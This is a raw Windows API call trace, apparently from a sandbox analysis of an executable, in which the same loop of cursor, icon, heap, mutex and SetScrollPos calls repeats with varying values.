	[0094.139] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.139] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.139] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.139] GetCurrentProcessId () returned 0xb50
	[0094.139] GetLastError () returned 0x578
	[0094.139] SetLastError (dwErrCode=0x578) 
	[0094.139] GetLastError () returned 0x578
	[0094.139] SetLastError (dwErrCode=0x578) 
	[0094.139] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.139] GetLastError () returned 0x0
	[0094.139] ReleaseMutex (hMutex=0x360) returned 1
	[0094.139] CloseHandle (hObject=0x360) returned 1
	[0094.139] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=196428508, bRedraw=1) returned 0
	[0094.139] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.140] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.140] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.140] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.140] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.140] GetCurrentProcessId () returned 0xb50
	[0094.140] GetLastError () returned 0x578
	[0094.140] SetLastError (dwErrCode=0x578) 
	[0094.140] GetLastError () returned 0x578
	[0094.140] SetLastError (dwErrCode=0x578) 
	[0094.140] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.140] GetLastError () returned 0x0
	[0094.140] ReleaseMutex (hMutex=0x360) returned 1
	[0094.140] CloseHandle (hObject=0x360) returned 1
	[0094.140] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=613137802, bRedraw=1) returned 0
	[0094.140] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.140] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.140] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.140] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.140] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.140] GetCurrentProcessId () returned 0xb50
	[0094.140] GetLastError () returned 0x578
	[0094.140] SetLastError (dwErrCode=0x578) 
	[0094.140] GetLastError () returned 0x578
	[0094.141] SetLastError (dwErrCode=0x578) 
	[0094.141] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.141] GetLastError () returned 0x0
	[0094.141] ReleaseMutex (hMutex=0x360) returned 1
	[0094.141] CloseHandle (hObject=0x360) returned 1
	[0094.141] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1039477048, bRedraw=1) returned 0
	[0094.141] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.141] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.141] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.141] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.141] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.141] GetCurrentProcessId () returned 0xb50
	[0094.141] GetLastError () returned 0x578
	[0094.141] SetLastError (dwErrCode=0x578) 
	[0094.141] GetLastError () returned 0x578
	[0094.142] GetLastError () returned 0x0
	[0094.142] ReleaseMutex (hMutex=0x360) returned 1
	[0094.142] CloseHandle (hObject=0x360) returned 1
	[0094.142] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1475446246, bRedraw=1) returned 0
	[0094.142] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.142] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.142] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.142] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.142] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.142] GetCurrentProcessId () returned 0xb50
	[0094.142] GetLastError () returned 0x578
	[0094.142] GetLastError () returned 0x578
	[0094.142] GetLastError () returned 0x0
	[0094.142] ReleaseMutex (hMutex=0x360) returned 1
	[0094.142] CloseHandle (hObject=0x360) returned 1
	[0094.142] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1921045396, bRedraw=1) returned 0
	[0094.142] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.142] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.206] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.206] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.206] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.206] GetCurrentProcessId () returned 0xb50
	[0094.206] GetLastError () returned 0x578
	[0094.206] GetLastError () returned 0x578
	[0094.206] GetLastError () returned 0x0
	[0094.206] ReleaseMutex (hMutex=0x360) returned 1
	[0094.206] CloseHandle (hObject=0x360) returned 1
	[0094.206] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1918692798, bRedraw=1) returned 0
	[0094.206] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.206] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.206] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.207] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.207] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.207] GetCurrentProcessId () returned 0xb50
	[0094.207] GetLastError () returned 0x578
	[0094.207] GetLastError () returned 0x578
	[0094.207] GetLastError () returned 0x0
	[0094.207] ReleaseMutex (hMutex=0x360) returned 1
	[0094.207] CloseHandle (hObject=0x360) returned 1
	[0094.207] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1453833744, bRedraw=1) returned 0
	[0094.207] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.207] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.207] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.207] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.207] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.207] GetCurrentProcessId () returned 0xb50
	[0094.207] GetLastError () returned 0x578
	[0094.207] GetLastError () returned 0x578
	[0094.207] GetLastError () returned 0x0
	[0094.207] ReleaseMutex (hMutex=0x360) returned 1
	[0094.207] CloseHandle (hObject=0x360) returned 1
	[0094.207] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-979344738, bRedraw=1) returned 0
	[0094.208] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.208] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.208] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.208] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.208] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.208] GetCurrentProcessId () returned 0xb50
	[0094.208] GetLastError () returned 0x578
	[0094.208] GetLastError () returned 0x578
	[0094.208] GetLastError () returned 0x0
	[0094.208] ReleaseMutex (hMutex=0x360) returned 1
	[0094.208] CloseHandle (hObject=0x360) returned 1
	[0094.208] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-495225780, bRedraw=1) returned 0
	[0094.208] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.208] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.208] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.208] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.208] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.208] GetCurrentProcessId () returned 0xb50
	[0094.208] GetLastError () returned 0x578
	[0094.208] GetLastError () returned 0x578
	[0094.208] GetLastError () returned 0x0
	[0094.208] ReleaseMutex (hMutex=0x360) returned 1
	[0094.209] CloseHandle (hObject=0x360) returned 1
	[0094.209] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1476870, bRedraw=1) returned 0
	[0094.209] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.209] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.209] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.209] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.209] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.209] GetCurrentProcessId () returned 0xb50
	[0094.209] GetLastError () returned 0x578
	[0094.209] GetLastError () returned 0x578
	[0094.209] GetLastError () returned 0x0
	[0094.209] ReleaseMutex (hMutex=0x360) returned 1
	[0094.209] CloseHandle (hObject=0x360) returned 1
	[0094.209] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=501901992, bRedraw=1) returned 0
	[0094.209] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.209] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.209] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.209] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.209] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.209] GetCurrentProcessId () returned 0xb50
	[0094.209] GetLastError () returned 0x578
	[0094.210] GetLastError () returned 0x578
	[0094.210] GetLastError () returned 0x0
	[0094.210] ReleaseMutex (hMutex=0x360) returned 1
	[0094.210] CloseHandle (hObject=0x360) returned 1
	[0094.210] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1014910806, bRedraw=1) returned 0
	[0094.210] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.210] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.210] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.210] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.210] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.210] GetCurrentProcessId () returned 0xb50
	[0094.210] GetLastError () returned 0x578
	[0094.210] GetLastError () returned 0x578
	[0094.210] GetLastError () returned 0x0
	[0094.210] ReleaseMutex (hMutex=0x360) returned 1
	[0094.210] CloseHandle (hObject=0x360) returned 1
	[0094.210] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1537549572, bRedraw=1) returned 0
	[0094.210] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.210] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.210] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.211] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.211] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.211] GetCurrentProcessId () returned 0xb50
	[0094.211] GetLastError () returned 0x578
	[0094.211] GetLastError () returned 0x578
	[0094.211] GetLastError () returned 0x0
	[0094.211] ReleaseMutex (hMutex=0x360) returned 1
	[0094.211] CloseHandle (hObject=0x360) returned 1
	[0094.211] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2069818290, bRedraw=1) returned 0
	[0094.211] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.211] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.211] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.211] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.211] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.211] GetCurrentProcessId () returned 0xb50
	[0094.211] GetLastError () returned 0x578
	[0094.211] GetLastError () returned 0x578
	[0094.211] GetLastError () returned 0x0
	[0094.211] ReleaseMutex (hMutex=0x360) returned 1
	[0094.211] CloseHandle (hObject=0x360) returned 1
	[0094.211] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1683250336, bRedraw=1) returned 0
	[0094.211] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.211] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.212] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.212] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.212] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.212] GetCurrentProcessId () returned 0xb50
	[0094.212] GetLastError () returned 0x578
	[0094.212] GetLastError () returned 0x578
	[0094.212] GetLastError () returned 0x0
	[0094.212] ReleaseMutex (hMutex=0x360) returned 1
	[0094.212] CloseHandle (hObject=0x360) returned 1
	[0094.212] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1131721714, bRedraw=1) returned 0
	[0094.212] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.212] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.212] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.212] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.212] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.212] GetCurrentProcessId () returned 0xb50
	[0094.212] GetLastError () returned 0x578
	[0094.212] GetLastError () returned 0x578
	[0094.212] GetLastError () returned 0x0
	[0094.212] ReleaseMutex (hMutex=0x360) returned 1
	[0094.212] CloseHandle (hObject=0x360) returned 1
	[0094.212] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-570563140, bRedraw=1) returned 0
	[0094.213] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.213] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.213] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.213] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.213] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.213] GetCurrentProcessId () returned 0xb50
	[0094.213] GetLastError () returned 0x578
	[0094.213] GetLastError () returned 0x578
	[0094.213] GetLastError () returned 0x0
	[0094.213] ReleaseMutex (hMutex=0x360) returned 1
	[0094.213] CloseHandle (hObject=0x360) returned 1
	[0094.213] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=225386, bRedraw=1) returned 0
	[0094.213] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.213] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.213] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.213] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.213] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.213] GetCurrentProcessId () returned 0xb50
	[0094.213] GetLastError () returned 0x578
	[0094.213] GetLastError () returned 0x578
	[0094.214] GetLastError () returned 0x0
	[0094.214] ReleaseMutex (hMutex=0x360) returned 1
	[0094.214] CloseHandle (hObject=0x360) returned 1
	[0094.214] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=580643864, bRedraw=1) returned 0
	[0094.214] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.214] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.214] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.214] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.214] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.214] GetCurrentProcessId () returned 0xb50
	[0094.214] GetLastError () returned 0x578
	[0094.214] GetLastError () returned 0x578
	[0094.214] GetLastError () returned 0x0
	[0094.214] ReleaseMutex (hMutex=0x360) returned 1
	[0094.214] CloseHandle (hObject=0x360) returned 1
	[0094.214] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1170692294, bRedraw=1) returned 0
	[0094.214] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.214] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.214] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.214] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.214] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.214] GetCurrentProcessId () returned 0xb50
	[0094.214] GetLastError () returned 0x578
	[0094.215] GetLastError () returned 0x578
	[0094.215] GetLastError () returned 0x0
	[0094.215] ReleaseMutex (hMutex=0x360) returned 1
	[0094.215] CloseHandle (hObject=0x360) returned 1
	[0094.215] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1770370676, bRedraw=1) returned 0
	[0094.215] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.215] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.215] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.215] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.215] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.215] GetCurrentProcessId () returned 0xb50
	[0094.215] GetLastError () returned 0x578
	[0094.215] GetLastError () returned 0x578
	[0094.215] GetLastError () returned 0x0
	[0094.215] ReleaseMutex (hMutex=0x360) returned 1
	[0094.215] CloseHandle (hObject=0x360) returned 1
	[0094.215] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1915288286, bRedraw=1) returned 0
	[0094.215] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.215] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.215] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.216] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.216] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.216] GetCurrentProcessId () returned 0xb50
	[0094.216] GetLastError () returned 0x578
	[0094.216] GetLastError () returned 0x578
	[0094.216] GetLastError () returned 0x0
	[0094.216] ReleaseMutex (hMutex=0x360) returned 1
	[0094.216] CloseHandle (hObject=0x360) returned 1
	[0094.216] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1296350000, bRedraw=1) returned 0
	[0094.216] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.216] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.216] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.216] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.216] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.216] GetCurrentProcessId () returned 0xb50
	[0094.216] GetLastError () returned 0x578
	[0094.216] GetLastError () returned 0x578
	[0094.216] GetLastError () returned 0x0
	[0094.216] ReleaseMutex (hMutex=0x360) returned 1
	[0094.216] CloseHandle (hObject=0x360) returned 1
	[0094.216] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-667781762, bRedraw=1) returned 0
	[0094.217] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.217] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.217] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.217] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.217] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.217] GetCurrentProcessId () returned 0xb50
	[0094.217] GetLastError () returned 0x578
	[0094.217] GetLastError () returned 0x578
	[0094.217] GetLastError () returned 0x0
	[0094.217] ReleaseMutex (hMutex=0x360) returned 1
	[0094.217] CloseHandle (hObject=0x360) returned 1
	[0094.217] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-29583572, bRedraw=1) returned 0
	[0094.217] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.217] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.217] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.217] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.217] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.217] GetCurrentProcessId () returned 0xb50
	[0094.217] GetLastError () returned 0x578
	[0094.217] GetLastError () returned 0x578
	[0094.217] GetLastError () returned 0x0
	[0094.217] ReleaseMutex (hMutex=0x360) returned 1
	[0094.217] CloseHandle (hObject=0x360) returned 1
	[0094.218] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=618244570, bRedraw=1) returned 0
	[0094.218] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.218] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.218] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.218] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.218] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.218] GetCurrentProcessId () returned 0xb50
	[0094.218] GetLastError () returned 0x578
	[0094.218] GetLastError () returned 0x578
	[0094.218] GetLastError () returned 0x0
	[0094.218] ReleaseMutex (hMutex=0x360) returned 1
	[0094.218] CloseHandle (hObject=0x360) returned 1
	[0094.218] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1275702664, bRedraw=1) returned 0
	[0094.218] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.218] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.218] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.218] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.218] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.218] GetCurrentProcessId () returned 0xb50
	[0094.218] GetLastError () returned 0x578
	[0094.218] GetLastError () returned 0x578
	[0094.219] GetLastError () returned 0x0
	[0094.219] ReleaseMutex (hMutex=0x360) returned 1
	[0094.219] CloseHandle (hObject=0x360) returned 1
	[0094.219] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1942790710, bRedraw=1) returned 0
	[0094.219] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.219] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.219] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.219] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.219] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.219] GetCurrentProcessId () returned 0xb50
	[0094.219] GetLastError () returned 0x578
	[0094.219] GetLastError () returned 0x578
	[0094.219] GetLastError () returned 0x0
	[0094.219] ReleaseMutex (hMutex=0x360) returned 1
	[0094.219] CloseHandle (hObject=0x360) returned 1
	[0094.219] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1675458588, bRedraw=1) returned 0
	[0094.219] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.219] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.219] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.219] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.219] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.220] GetCurrentProcessId () returned 0xb50
	[0094.220] GetLastError () returned 0x578
	[0094.220] GetLastError () returned 0x578
	[0094.220] GetLastError () returned 0x0
	[0094.220] ReleaseMutex (hMutex=0x360) returned 1
	[0094.220] CloseHandle (hObject=0x360) returned 1
	[0094.220] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-989110638, bRedraw=1) returned 0
	[0094.220] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.220] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.220] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.220] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.220] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.220] GetCurrentProcessId () returned 0xb50
	[0094.220] GetLastError () returned 0x578
	[0094.220] GetLastError () returned 0x578
	[0094.220] GetLastError () returned 0x0
	[0094.220] ReleaseMutex (hMutex=0x360) returned 1
	[0094.220] CloseHandle (hObject=0x360) returned 1
	[0094.220] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-293132736, bRedraw=1) returned 0
	[0094.220] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.220] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.221] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.221] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.221] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.221] GetCurrentProcessId () returned 0xb50
	[0094.221] GetLastError () returned 0x578
	[0094.221] GetLastError () returned 0x578
	[0094.221] GetLastError () returned 0x0
	[0094.221] ReleaseMutex (hMutex=0x360) returned 1
	[0094.221] CloseHandle (hObject=0x360) returned 1
	[0094.221] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=412475118, bRedraw=1) returned 0
	[0094.221] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.221] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.221] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.221] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.221] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.221] GetCurrentProcessId () returned 0xb50
